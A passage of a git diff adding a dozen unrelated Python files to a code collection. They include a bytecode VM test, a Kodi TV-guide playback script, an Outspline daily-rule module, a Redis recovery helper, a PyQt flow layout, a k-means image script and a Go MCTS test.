dis.opmap["STORE_NAME"], 1, 0, # [24], 64, arg=1 + dis.opmap["JUMP_ABSOLUTE"], 41, 0, # [25], 67, dest=41 + dis.opmap["JUMP_ABSOLUTE"], 41, 0, # [26], 70 (unreachable), dest=41 + dis.opmap["POP_BLOCK"], # [27], 73 + dis.opmap["JUMP_ABSOLUTE"], 28, 0, # [28], 74, dest=28 + dis.opmap["POP_BLOCK"], # [29], 77 + dis.opmap["LOAD_CONST"], 4, 0, # [30], 78, arg=4 + dis.opmap["RETURN_VALUE"], # [31], 81 + ]) + + def testEachInstructionOnceLoops(self): + code_nested_loop = pyc.compile_src(src=self.src_nested_loop, + python_version=self.python_version, + filename="<>") + self.assertEqual(code_nested_loop.co_code, + self.code_nested_loop) + self.vm.run_program(self.src_nested_loop, run_builtins=False) + # We expect all instructions, except 26, in the above to execute. + self.assertItemsEqual(self.vm.instructions_executed, + set(range(32)) - {26}) + + src_deadcode = textwrap.dedent(""" + if False: + x = 2 + raise RuntimeError + x = 42 + """) + code_deadcode = ListToString([ + dis.opmap["LOAD_NAME"], 0, 0, # [0] 0, arg=0 + dis.opmap["POP_JUMP_IF_FALSE"], 15, 0, # [1] 3, dest=15 + dis.opmap["LOAD_CONST"], 0, 0, # [2] 6, arg=0 + dis.opmap["STORE_NAME"], 1, 0, # [3] 9, arg=1 + dis.opmap["JUMP_FORWARD"], 0, 0, # [4] 12, dest=15 + dis.opmap["LOAD_NAME"], 2, 0, # [5] 15, arg=2 + dis.opmap["RAISE_VARARGS"], 1, 0, # [6] 18, arg=1 + dis.opmap["LOAD_CONST"], 1, 0, # [7] 21 (unreachable), arg=1 + dis.opmap["STORE_NAME"], 1, 0, # [8] 24 (unreachable), arg=1 + dis.opmap["LOAD_CONST"], 2, 0, # [9] 27 (unreachable), arg=2 + dis.opmap["RETURN_VALUE"], # [10] 30 (unreachable) + ]) + + def testEachInstructionOnceDeadCode(self): + code_deadcode = pyc.compile_src(src=self.src_deadcode, + python_version=self.python_version, + filename="<>") + self.assertEqual(code_deadcode.co_code, + self.code_deadcode) + try: + self.vm.run_program(self.src_deadcode, run_builtins=False) + except vm.VirtualMachineError: + pass # The code we test throws an exception. Ignore it. + self.assertItemsEqual(self.vm.instructions_executed, range(7)) + + +if __name__ == "__main__": + test_inference.main() diff --git a/pool/shard009/Python/0083625_fsg-to-dict_en.py b/pool/shard009/Python/0083625_fsg-to-dict_en.py new file mode 100644 index 0000000000000000000000000000000000000000..1b60c552c3ad6b419c372bd2776620aa70be02fe --- /dev/null +++ b/pool/shard009/Python/0083625_fsg-to-dict_en.py @@ -0,0 +1,59 @@ +#! /usr/bin/python + +import sys +import re + +import os +from subprocess import Popen, PIPE, STDOUT +BASE_DICT="/usr/local/share/pocketsphinx/model/lm/en_US/cmu07a.dic" +G2P=os.path.dirname(sys.argv[0]) + "/en-g2p.sh" + +words = {} +for l in open(BASE_DICT): + ss = l.split() + word = ss[0] + word = re.sub(r"\(\d\)$", "", word) + try: + prob = float(ss[1]) + pron = ss[2:] + except ValueError: + prob = 1 + pron = ss[1:] + + words.setdefault(word, []).append((pron, prob)) + +input_words = set() + +for l in sys.stdin: + if l.startswith("TRANSITION"): + ss = l.split() + if len(ss) == 5: + input_words.add(ss[-1]) + +g2p_words = [] +for w in input_words: + if w.lower() in words: + for (i, pron) in enumerate(words[w.lower()]): + if i == 0: + print w, + else: + print "%s(%d)" % (w, i+1), + print " ".join(pron[0]) + else: + g2p_words.append(w) + +if len(g2p_words) > 0: + proc = Popen(G2P,stdin=PIPE, stdout=PIPE, stderr=STDOUT ) + #stdout, stderr = proc.communicate() + for w in g2p_words: + print >>proc.stdin, w + proc.stdin.close() + + #return_code = proc.wait() + + for l in proc.stdout: + print l, + + + + diff --git a/pool/shard009/Python/0083629_occur_every_day.py b/pool/shard009/Python/0083629_occur_every_day.py new file mode 100644 index 0000000000000000000000000000000000000000..8f73685cd9c6ef65d1d57721782fb2bc923d3e9c --- /dev/null +++ b/pool/shard009/Python/0083629_occur_every_day.py @@ -0,0 +1,224 @@ +# Outspline - A highly modular and extensible outliner. +# Copyright (C) 2011-2014 Dario Giovannetti +# +# This file is part of Outspline. +# +# Outspline is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Outspline is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Outspline. If not, see . + +import time as _time +import datetime as _datetime +import random + +from outspline.static.pyaux.timeaux import UTCOffset +from outspline.static.wxclasses.timectrls import TimeSpanCtrl +import outspline.extensions.organism_basicrules_api as organism_basicrules_api +import outspline.plugins.wxscheduler_api as wxscheduler_api + +import interface +import msgboxes + + +class Rule(object): + def __init__(self, parent, filename, id_, standard, rule): + self.original_values = self._compute_values(standard, rule) + self.ui = interface.Interface(parent, filename, id_, + (interface.StartTime, + interface.EndTime, + interface.AlarmTime, + interface.Standard), + self.original_values) + + def apply_rule(self, filename, id_): + values = self.ui.get_values() + rstart = values['start_relative_time'] + rstartH = values['start_hour'] + rstartM = values['start_minute'] + endtype = values['end_type'] + rend = values['end_relative_time'] + fend = values['end_next_day'] + rendn = values['end_relative_number'] + rendu = values['end_relative_unit'] + rendH = values['end_hour'] + rendM = values['end_minute'] + alarmtype = values['alarm_type'] + ralarm = values['alarm_relative_time'] + palarm = values['alarm_previous_day'] + ralarmn = values['alarm_relative_number'] + ralarmu = values['alarm_relative_unit'] + ralarmH = values['alarm_hour'] + ralarmM = values['alarm_minute'] + standard = values['time_standard'] + + refstart = int(_time.time()) // 86400 * 86400 + rstart + + try: + if standard == 'UTC': + ruled = organism_basicrules_api.make_occur_regularly_rule_UTC( + refstart, 86400, rend, ralarm, ('1d', endtype, alarmtype)) + else: + ruled = organism_basicrules_api.make_occur_regularly_rule_local( + refstart, 86400, rend, ralarm, ('1d', endtype, alarmtype)) + except organism_basicrules_api.BadRuleError: + msgboxes.warn_bad_rule(msgboxes.generic).ShowModal() + else: + label = self._make_label(rstartH, rstartM, rendH, rendM, ralarmH, + ralarmM, rendn, rendu, ralarmn, ralarmu, + endtype, alarmtype, fend, palarm, standard) + wxscheduler_api.apply_rule(filename, id_, ruled, label) + + @classmethod + def insert_rule(cls, filename, id_, rule, rulev): + standard = 'UTC' if rule['rule'] == 'occur_regularly_UTC' else 'local' + values = cls._compute_values(standard, rulev) + label = cls._make_label(values['start_hour'], + values['start_minute'], + values['end_hour'], + values['end_minute'], + values['alarm_hour'], + values['alarm_minute'], + values['end_relative_number'], + values['end_relative_unit'], + values['alarm_relative_number'], + values['alarm_relative_unit'], + values['end_type'], + values['alarm_type'], + values['end_next_day'], + values['alarm_previous_day'], + values['time_standard']) + wxscheduler_api.insert_rule(filename, id_, rule, label) + + @classmethod + def _compute_values(cls, standard, rule): + # Remember to support also time zones that differ from UTC by not + # exact hours (e.g. Australia/Adelaide) + if not rule: + now = _datetime.datetime.now() + nextdate = _datetime.datetime(now.year, now.month, now.day, + now.hour) + _datetime.timedelta(hours=1) + refstart = int(_time.mktime(nextdate.timetuple())) - \ + UTCOffset.compute2_current() + + values = { + 'reference_start': refstart, + 'interval': 86400, + 'overlaps': 0, + 'bgap': 86400 - 3600, + 'end_relative_time': 3600, + 'alarm_relative_time': 0, + 'end_type': 0, + 'alarm_type': 0, + 'time_standard': standard, + } + else: + values = { + 'reference_start': rule[0], + 'interval': rule[1], + 'overlaps': rule[2], + 'bgap': rule[3], + 'end_relative_time': rule[4] if rule[4] is not None else 3600, + 'alarm_relative_time': rule[5] if rule[5] is not None else 0, + 'end_type': rule[6][1], + 'alarm_type': rule[6][2], + 'time_standard': standard, + } + + values['end_relative_number'], values['end_relative_unit'] = \ + TimeSpanCtrl.compute_widget_values( + values['end_relative_time']) + + # ralarm could be negative + values['alarm_relative_number'], values['alarm_relative_unit'] = \ + TimeSpanCtrl.compute_widget_values( + max((0, values['alarm_relative_time']))) + + rrstart = values['reference_start'] % 86400 + + rrend = rrstart + values['end_relative_time'] + values['end_next_day'] = False + + # End time could be set after 23:59 of the start day + if rrend > 86399: + rrend = rrend % 86400 + values['end_next_day'] = True + + rralarm = rrstart - values['alarm_relative_time'] + values['alarm_previous_day'] = False + + # Alarm time could be set before 00:00 of the start day + if rralarm < 0: + rralarm = 86400 - abs(rralarm) % 86400 + values['alarm_previous_day'] = True + + values.update({ + 'start_hour': rrstart // 3600, + 'start_minute': rrstart % 3600 // 60, + 'end_hour': rrend // 3600, + 'end_minute': rrend % 3600 // 60, + 'alarm_hour': rralarm // 3600, + 'alarm_minute': rralarm % 3600 // 60, + }) + + return values + + @staticmethod + def _make_label(rstartH, rstartM, rendH, rendM, ralarmH, ralarmM, rendn, + rendu, ralarmn, ralarmu, endtype, + alarmtype, fend, palarm, standard): + label = 'Occur every day at {}:{} ({})'.format(str(rstartH).zfill(2), + str(rstartM).zfill(2), standard) + + if endtype == 1: + label += ' for {} {}'.format(rendn, rendu) + elif endtype == 2: + label += ' until {}:{}'.format(str(rendH).zfill(2), + str(rendM).zfill(2)) + if fend: + label += ' of the following day' + + if alarmtype == 1: + label += ', activate alarm {} {} before'.format(ralarmn, ralarmu) + elif alarmtype == 2: + label += ', activate alarm at {}:{}'.format( + str(ralarmH).zfill(2), str(ralarmM).zfill(2)) + if palarm: + label += ' of the previous day' + + return label + + @staticmethod + def create_random_rule(): + refstart = int((random.gauss(_time.time(), 15000)) // 60 * 60) + + endtype = random.randint(0, 2) + + if endtype == 0: + rend = None + else: + rend = random.randint(1, 360) * 60 + + alarmtype = random.randint(0, 2) + + if alarmtype == 0: + ralarm = None + else: + ralarm = random.randint(0, 360) * 60 + + stdn = random.randint(0, 1) + + if stdn == 0: + return organism_basicrules_api.make_occur_regularly_rule_local( + refstart, 86400, rend, ralarm, ('1d', endtype, alarmtype)) + else: + return organism_basicrules_api.make_occur_regularly_rule_UTC( + refstart, 86400, rend, ralarm, ('1d', endtype, alarmtype)) diff --git a/pool/shard009/Python/0083631_io.py b/pool/shard009/Python/0083631_io.py new file mode 100644 index 0000000000000000000000000000000000000000..4a886cfb1ced8c06c4bf1feca68d3e1a6ec3c9a5 --- /dev/null +++ b/pool/shard009/Python/0083631_io.py @@ -0,0 +1,41 @@ +# -*- coding:utf-8 -*- +# Author: hankcs +# Date: 2020-12-16 22:38 +import json +import os +import pickle +import sys +from typing import Union + + +def save_pickle(item, path): + with open(path, 'wb') as f: + pickle.dump(item, f) + + +def load_pickle(path): + with open(path, 'rb') as f: + return pickle.load(f) + + +def save_json(item: Union[dict, list, str, int, float], path: str, ensure_ascii=False, cls=None, + default=lambda o: repr(o), indent=2): + dirname = os.path.dirname(path) + if dirname: + os.makedirs(dirname, exist_ok=True) + with open(path, 'w', encoding='utf-8') as out: + json.dump(item, out, ensure_ascii=ensure_ascii, indent=indent, cls=cls, default=default) + + +def load_json(path): + with open(path, encoding='utf-8') as src: + return json.load(src) + + +def filename_is_json(filename): + filename, file_extension = os.path.splitext(filename) + return file_extension in ['.json', '.jsonl'] + + +def eprint(*args, **kwargs): + print(*args, file=sys.stderr, **kwargs) diff --git a/pool/shard009/Python/0083633_playwith.py b/pool/shard009/Python/0083633_playwith.py new file mode 100644 index 0000000000000000000000000000000000000000..79f2196df3a179b6d182cc6a35c457e69010be6f --- /dev/null +++ b/pool/shard009/Python/0083633_playwith.py @@ -0,0 +1,127 @@ +import sys +import xbmc,xbmcaddon,xbmcvfs +import sqlite3 +import datetime +import time +import subprocess +from subprocess import Popen +import re +from vpnapi import VPNAPI + + +def log(what): + xbmc.log(repr(what)) + +ADDON = xbmcaddon.Addon(id='script.tvguide.Vader') + +channel = sys.argv[1] +start = sys.argv[2] + +def adapt_datetime(ts): + return time.mktime(ts.timetuple()) + +def convert_datetime(ts): + try: + return datetime.datetime.fromtimestamp(float(ts)) + except ValueError: + return None + +sqlite3.register_adapter(datetime.datetime, adapt_datetime) +sqlite3.register_converter('timestamp', convert_datetime) + +ADDON.setSetting('playing.channel',channel) +ADDON.setSetting('playing.start',start) + +path = xbmc.translatePath('special://profile/addon_data/script.tvguide.Vader/source.db') +try: + conn = sqlite3.connect(path, detect_types=sqlite3.PARSE_DECLTYPES) + conn.row_factory = sqlite3.Row +except Exception as detail: + xbmc.log("EXCEPTION: (script.tvguide.Vader) %s" % detail, xbmc.LOGERROR) + +ffmpeg = ADDON.getSetting('autoplaywiths.ffmpeg') +if ffmpeg: + folder = ADDON.getSetting('autoplaywiths.folder') + c = conn.cursor() + c.execute('SELECT stream_url FROM custom_stream_url WHERE channel=?', [channel]) + row = c.fetchone() + url = "" + if row: + url = row[0] + if not url: + quit() + startDate = datetime.datetime.fromtimestamp(float(start)) + c.execute('SELECT DISTINCT * FROM programs WHERE channel=? AND start_date = ?', [channel,startDate]) + for row in c: + title = row["title"] + season = row["season"] + episode = row["episode"] + if season and episode: + title += " S%sE%s" % (season, episode) + endDate = row["end_date"] + duration = endDate - startDate + before = int(ADDON.getSetting('autoplaywiths.before')) + after = int(ADDON.getSetting('autoplaywiths.after')) + extra = (before + after) * 60 + #TODO start from now + seconds = duration.seconds + extra + if seconds > (3600*4): + seconds = 3600*4 + break + player = xbmc.Player() + player.play(url) + count = 30 + url = "" + while count: + count = count - 1 + time.sleep(1) + if player.isPlaying(): + url = player.getPlayingFile() + break + player.stop() + + # Play with your own preferred player and paths + if url: + name = "%s - %s - %s" % (channel,title,time.strftime('%Y-%m-%d %H-%M')) + name = re.sub("\?",'',name) + name = re.sub(":|<>\/",'',name) + name = name.encode("cp1252") + filename = xbmc.translatePath("%s%s.ts" % (folder,name)) + #seconds = 30 + cmd = [ffmpeg, "-y", "-i", url, "-c", "copy", "-t", str(seconds), filename] + p = Popen(cmd,shell=True) + quit() + +script = "special://profile/addon_data/script.tvguide.Vader/playwith.py" +if xbmcvfs.exists(script): + xbmc.executebuiltin('RunScript(%s,%s,%s)' % (script,channel,start)) + +core = ADDON.getSetting('autoplaywiths.player') +if not core: + quit() + +c = conn.cursor() +c.execute('SELECT stream_url FROM custom_stream_url WHERE channel=?', [channel]) +row = c.fetchone() +url = "" +if row: + url = row[0] +if not url: + quit() +else: + if xbmc.getCondVisibility("System.HasAddon(service.vpn.manager)"): + try: + if ADDON.getSetting('vpnmgr.connect') == "true": + vpndefault = False + if ADDON.getSetting('vpnmgr.default') == "true": + vpndefault = True + api = VPNAPI() + if url[0:9] == 'plugin://': + api.filterAndSwitch(url, 0, vpndefault, True) + else: + if vpndefault: api.defaultVPN(True) + except: + pass + +xbmc.executebuiltin('PlayWith(%s)' % core) +xbmc.executebuiltin('PlayMedia(%s)' % url) diff --git a/pool/shard009/Python/0083638_test_rule_014.py b/pool/shard009/Python/0083638_test_rule_014.py new file mode 100644 index 0000000000000000000000000000000000000000..81773252da52c7a7e61b17b3eeeca2fb8330ea3d --- /dev/null +++ b/pool/shard009/Python/0083638_test_rule_014.py @@ -0,0 +1,71 @@ + +import os +import unittest + +from vsg.rules import port +from vsg import vhdlFile +from vsg.tests import utils + +sTestDir = os.path.dirname(__file__) + +lFile, eError =vhdlFile.utils.read_vhdlfile(os.path.join(sTestDir,'rule_014_test_input.vhd')) + +lExpected = [] +lExpected.append('') +utils.read_file(os.path.join(sTestDir, 'rule_014_test_input.fixed.vhd'), lExpected) + +lExpected_move_left = [] +lExpected_move_left.append('') +utils.read_file(os.path.join(sTestDir, 'rule_014_test_input.fixed_move_left.vhd'), lExpected_move_left) + + +class test_port_rule(unittest.TestCase): + + def setUp(self): + self.oFile = vhdlFile.vhdlFile(lFile) + self.assertIsNone(eError) + + def test_rule_014(self): + oRule = port.rule_014() + self.assertTrue(oRule) + self.assertEqual(oRule.name, 'port') + self.assertEqual(oRule.identifier, '014') + + lExpected = [17] + + oRule.analyze(self.oFile) + self.assertEqual(lExpected, utils.extract_violation_lines_from_violation_object(oRule.violations)) + + def test_fix_rule_014(self): + oRule = port.rule_014() + + oRule.fix(self.oFile) + + lActual = self.oFile.get_lines() + + self.assertEqual(lExpected, lActual) + + oRule.analyze(self.oFile) + self.assertEqual(oRule.violations, []) + + def test_rule_014_move_left(self): + oRule = port.rule_014() + oRule.action = "move_left" + + lExpected = [7] + + oRule.analyze(self.oFile) + self.assertEqual(lExpected, utils.extract_violation_lines_from_violation_object(oRule.violations)) + + def test_fix_rule_014_move_left(self): + oRule = port.rule_014() + oRule.action = "move_left" + + oRule.fix(self.oFile) + + lActual = self.oFile.get_lines() + + self.assertEqual(lExpected_move_left, lActual) + + oRule.analyze(self.oFile) + self.assertEqual(oRule.violations, []) diff --git a/pool/shard009/Python/0083640_recover.py b/pool/shard009/Python/0083640_recover.py new file mode 100644 index 0000000000000000000000000000000000000000..6199563a1c194fa51ffdee88c458ccfe832bbe89 --- /dev/null +++ b/pool/shard009/Python/0083640_recover.py @@ -0,0 +1,40 @@ +import os +import logging +import redistrib.command as comm +from socket import error as SocketError +from hiredis import ReplyError +from redistrib.clusternode import Talker, pack_command + +import node as nm + +CMD_PING = pack_command('ping') + + +def recover(): + logging.info('Run recovering on process %d', os.getpid()) + for node in nm.list_all_nodes(): + _recover_instance(node) + logging.info('Recovering finished on process %d', os.getpid()) + + +def recover_by_addr(host, port): + t = Talker(host, port) + try: + m = t.talk_raw(CMD_PING) + if m.lower() != 'pong': + raise ValueError('Expect pong but recv: %s' % m) + node = nm.pick_by(host, port) + finally: + if t is not None: + t.close() + + +def _recover_instance(node): + logging.info('Recover node %d(%s:%d)', node.id, node.host, node.port) + try: + comm.fix_migrating(node.host, node.port) + except (StandardError, SocketError), e: + logging.exception(e) + logging.error('Fail to recover %s:%d', node.host, node.port) + except ReplyError: + logging.info('%s:%d is not cluster enabled', node.host, node.port) diff --git a/pool/shard009/Python/0083645_cluster_Kmean__030915.py b/pool/shard009/Python/0083645_cluster_Kmean__030915.py new file mode 100644 index 0000000000000000000000000000000000000000..a955c5f69a66911b743d3b2a90276d4aeb925734 --- /dev/null +++ b/pool/shard009/Python/0083645_cluster_Kmean__030915.py @@ -0,0 +1,103 @@ +# -*- coding: utf-8 -*- +""" +Created on Tue Mar 10 05:04:23 2015 + +@author: Sarunya Werasena +""" +from PIL import Image +import cv2 +import numpy as np +from scipy.cluster.vq import * +import cPickle +import os +rootdir = 'dataset' + +def harris_response(img): + gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY) + + gray = np.float32(gray) + dst = cv2.cornerHarris(gray,2,3,0.04) + + #result is dilated for marking the corners, not important + dst = cv2.dilate(dst,None) + + # Threshold for an optimal value, it may vary depending on the image. + img[dst>0.01*dst.max()]=[255,0,0] + +# cv2.imshow('dst',img) +# if cv2.waitKey(0) & 0xff == 27: +# cv2.destroyAllWindows() + +#def kmean_cluster(): +# class1 = 1.5 * np.random.randn(100,2) +# class2 = np.random.randn(100,2) + np.array( [ 5,5] ) +# features = np.vstack((class1,class2)) +# centroids,variance = kmeans(features,2) +# code,distance = vq(features,centroids) +# +# plt.figure() +# ndx = np.where(code==0) [ 0] +# plt.plot(features[ ndx,0] ,features[ ndx,1] , '*' ) +# ndx = np.where(code==1) [ 0] +# plt.plot(features[ ndx,0] ,features[ ndx,1] , 'r.' ) +# plt.plot(centroids[ : ,0] ,centroids[ : ,1] , 'go' ) +# plt.axis('off') +# plt.show() + +def readfiles(): + all_im=[] + for root,dirs,files in os.walk(rootdir): + for f in files: + if f.endswith('jpg') or f.endswith('JPG'): + im = Image.open(os.path.join(root,f)) + im = im.convert('LA') + + # save image + plt.imshow(im) + # Remove axes and ticks + plt.axis('off') +# + plt.show() +# plt.contour(l, [60, 211]) + all_im.append(np.asarray(im.getdata(),dtype=np.uint8)) + return all_im + +def kmean_cluster(imlist): + # get list of images +# imlist = imtools.get_imlist('selected_fontimages/') + imnbr = len(imlist) + # load model file +# with open('a_pca_modes.pkl','rb' ) as f: + immean = pickle.load(open('a_pca_modes.pkl','rb' )) + V = pickle.load(f) + # create matrix to store all flattened images + immatrix = np.array([np.array(Image.open(im)).flatten() for im in imlist] , 'f' ) + # project on the 40 first PCs + immean = immean.flatten() + projected = np.array( [np.dot(V[ :40] ,immatrix[i] - immean) for i in range(imnbr) ] ) + # k- means + projected = np.whiten(projected) + centroids,distortion = kmeans(projected,4) + code,distance = vq(projected,centroids) + +# plot clusters + for k in range(4) : + ind = where(code==k) [ 0] + plt.figure() + + plt.gray() + for i in range(minimum( len(ind),40)) : + plt.subplot(4,10,i+1) + plt.imshow(immatrix[ ind[ i] ] . reshape((25,25))) + plt.axis('off') + plt.show() + +def main(): + img = cv2.imread('test.jpg') + harris_response(img) + a = readfiles() + kmean_cluster(a) + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/pool/shard009/Python/0083650_ej765.py b/pool/shard009/Python/0083650_ej765.py new file mode 100644 index 0000000000000000000000000000000000000000..85513c60b8b837dfeca596ecc0327f8eef6fe67b --- /dev/null +++ b/pool/shard009/Python/0083650_ej765.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python3 + +# Ejercicio 7.6.5. Dada una lista de números enteros, escribir una función que: +# a) Devuelva una lista con todos los que sean primos. +# b) Devuelva la sumatoria y el promedio de los valores. +# c) Devuelva una lista con el factorial de cada uno de esos números. + +def es_primo(num): + divisores = 1 + for x in range(1, num): + if num % x == 0: + divisores += 1 + return divisores == 2 + +def primos(lista): + lista_primos = [] + for num in lista: + if es_primo(num): + lista_primos.append(num) + return lista_primos + +def sum_y_prom(lista): + sumatoria = sum(lista) + promedio = sumatoria/len(lista) + return sumatoria, promedio + +def factorial(num): + if num == 0 or num == 1: + return 1 + return num * factorial(num - 1) + +def factoriales(lista): + lista_factoriales = [] + for num in lista: + lista_factoriales.append(factorial(num)) + return lista_factoriales + +print(factoriales([1,2,3,4,5,6])) + diff --git a/pool/shard009/Python/0083651_flowlayout.py b/pool/shard009/Python/0083651_flowlayout.py new file mode 100644 index 0000000000000000000000000000000000000000..8579cfd59101fb6ff183f41893180b85b858c89a --- /dev/null +++ b/pool/shard009/Python/0083651_flowlayout.py @@ -0,0 +1,130 @@ +############################################################################# +## +## Copyright (C) 2013 Riverbank Computing Limited. +## Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +## All rights reserved. +## +## This file is part of the examples of PyQt. +## +## $QT_BEGIN_LICENSE:BSD$ +## You may use this file under the terms of the BSD license as follows: +## +## "Redistribution and use in source and binary forms, with or without +## modification, are permitted provided that the following conditions are +## met: +## * Redistributions of source code must retain the above copyright +## notice, this list of conditions and the following disclaimer. +## * Redistributions in binary form must reproduce the above copyright +## notice, this list of conditions and the following disclaimer in +## the documentation and/or other materials provided with the +## distribution. +## * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +## the names of its contributors may be used to endorse or promote +## products derived from this software without specific prior written +## permission. +## +## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +## "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +## LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +## A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +## OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +## SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +## LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +## DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +## THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +## (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +## OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +## $QT_END_LICENSE$ +## +############################################################################# + + +from qtpy.QtCore import QPoint, QRect, QSize, Qt +from qtpy.QtWidgets import QLayout, QSizePolicy + + +class FlowLayout(QLayout): + def __init__(self, parent=None, margin=0, spacing=-1): + super(FlowLayout, self).__init__(parent) + + if parent is not None: + self.setContentsMargins(margin, margin, margin, margin) + + self.setSpacing(spacing) + + self.itemList = [] + + def __del__(self): + item = self.takeAt(0) + while item: + item = self.takeAt(0) + + def addItem(self, item): + self.itemList.append(item) + + def count(self): + return len(self.itemList) + + def itemAt(self, index): + if index >= 0 and index < len(self.itemList): + return self.itemList[index] + + return None + + def takeAt(self, index): + if index >= 0 and index < len(self.itemList): + return self.itemList.pop(index) + + return None + + def expandingDirections(self): + return Qt.Orientations(Qt.Orientation(0)) + + def hasHeightForWidth(self): + return True + + def heightForWidth(self, width): + height = self.doLayout(QRect(0, 0, width, 0), True) + return height + + def setGeometry(self, rect): + super(FlowLayout, self).setGeometry(rect) + self.doLayout(rect, False) + + def sizeHint(self): + return self.minimumSize() + + def minimumSize(self): + size = QSize() + + for item in self.itemList: + size = size.expandedTo(item.minimumSize()) + + margin, _, _, _ = self.getContentsMargins() + + size += QSize(2 * margin, 2 * margin) + return size + + def doLayout(self, rect, testOnly): + x = rect.x() + y = rect.y() + lineHeight = 0 + + for item in self.itemList: + wid = item.widget() + spaceX = self.spacing() + wid.style().layoutSpacing(QSizePolicy.PushButton, QSizePolicy.PushButton, Qt.Horizontal) + spaceY = self.spacing() + wid.style().layoutSpacing(QSizePolicy.PushButton, QSizePolicy.PushButton, Qt.Vertical) + nextX = x + item.sizeHint().width() + spaceX + if nextX - spaceX > rect.right() and lineHeight > 0: + x = rect.x() + y = y + lineHeight + spaceY + nextX = x + item.sizeHint().width() + spaceX + lineHeight = 0 + + if not testOnly: + item.setGeometry(QRect(QPoint(x, y), item.sizeHint())) + + x = nextX + lineHeight = max(lineHeight, item.sizeHint().height()) + + return y + lineHeight - rect.y() diff --git a/pool/shard009/Python/0083656_mcts_test.py b/pool/shard009/Python/0083656_mcts_test.py new file mode 100644 index 0000000000000000000000000000000000000000..9cbfe5625b9e83a28e277ee2fc2c895696f20744 --- /dev/null +++ b/pool/shard009/Python/0083656_mcts_test.py @@ -0,0 +1,222 @@ +# Copyright 2018 The TensorFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# ============================================================================== +"""Tests for mcts.""" +from __future__ import absolute_import +from __future__ import division +from __future__ import print_function + +import copy + +import tensorflow as tf # pylint: disable=g-bad-import-order + +import coords +import go +from mcts import MCTSNode +import numpy as np +import utils_test + +tf.logging.set_verbosity(tf.logging.ERROR) + +ALMOST_DONE_BOARD = utils_test.load_board(''' + .XO.XO.OO + X.XXOOOO. + XXXXXOOOO + XXXXXOOOO + .XXXXOOO. + XXXXXOOOO + .XXXXOOO. + XXXXXOOOO + XXXXOOOOO +''') + +TEST_POSITION = go.Position( + utils_test.BOARD_SIZE, + board=ALMOST_DONE_BOARD, + n=105, + komi=2.5, + caps=(1, 4), + ko=None, + recent=(go.PlayerMove(go.BLACK, (0, 1)), + go.PlayerMove(go.WHITE, (0, 8))), + to_play=go.BLACK +) + +SEND_TWO_RETURN_ONE = go.Position( + utils_test.BOARD_SIZE, + board=ALMOST_DONE_BOARD, + n=75, + komi=0.5, + caps=(0, 0), + ko=None, + recent=( + go.PlayerMove(go.BLACK, (0, 1)), + go.PlayerMove(go.WHITE, (0, 8)), + go.PlayerMove(go.BLACK, (1, 0))), + to_play=go.WHITE +) + +MAX_DEPTH = (utils_test.BOARD_SIZE ** 2) * 1.4 + + +class TestMctsNodes(utils_test.MiniGoUnitTest): + + def test_action_flipping(self): + np.random.seed(1) + probs = np.array([.02] * ( + utils_test.BOARD_SIZE * utils_test.BOARD_SIZE + 1)) + probs += np.random.random( + [utils_test.BOARD_SIZE * utils_test.BOARD_SIZE + 1]) * 0.001 + black_root = MCTSNode( + utils_test.BOARD_SIZE, go.Position(utils_test.BOARD_SIZE)) + white_root = MCTSNode(utils_test.BOARD_SIZE, go.Position( + utils_test.BOARD_SIZE, to_play=go.WHITE)) + black_root.select_leaf().incorporate_results(probs, 0, black_root) + white_root.select_leaf().incorporate_results(probs, 0, white_root) + # No matter who is to play, when we know nothing else, the priors + # should be respected, and the same move should be picked + black_leaf = black_root.select_leaf() + white_leaf = white_root.select_leaf() + self.assertEqual(black_leaf.fmove, white_leaf.fmove) + self.assertEqualNPArray( + black_root.child_action_score, white_root.child_action_score) + + def test_select_leaf(self): + flattened = coords.to_flat(utils_test.BOARD_SIZE, coords.from_kgs( + utils_test.BOARD_SIZE, 'D9')) + probs = np.array([.02] * ( + utils_test.BOARD_SIZE * utils_test.BOARD_SIZE + 1)) + probs[flattened] = 0.4 + root = MCTSNode(utils_test.BOARD_SIZE, SEND_TWO_RETURN_ONE) + root.select_leaf().incorporate_results(probs, 0, root) + + self.assertEqual(root.position.to_play, go.WHITE) + self.assertEqual(root.select_leaf(), root.children[flattened]) + + def test_backup_incorporate_results(self): + probs = np.array([.02] * ( + utils_test.BOARD_SIZE * utils_test.BOARD_SIZE + 1)) + root = MCTSNode(utils_test.BOARD_SIZE, SEND_TWO_RETURN_ONE) + root.select_leaf().incorporate_results(probs, 0, root) + + leaf = root.select_leaf() + leaf.incorporate_results(probs, -1, root) # white wins! + + # Root was visited twice: 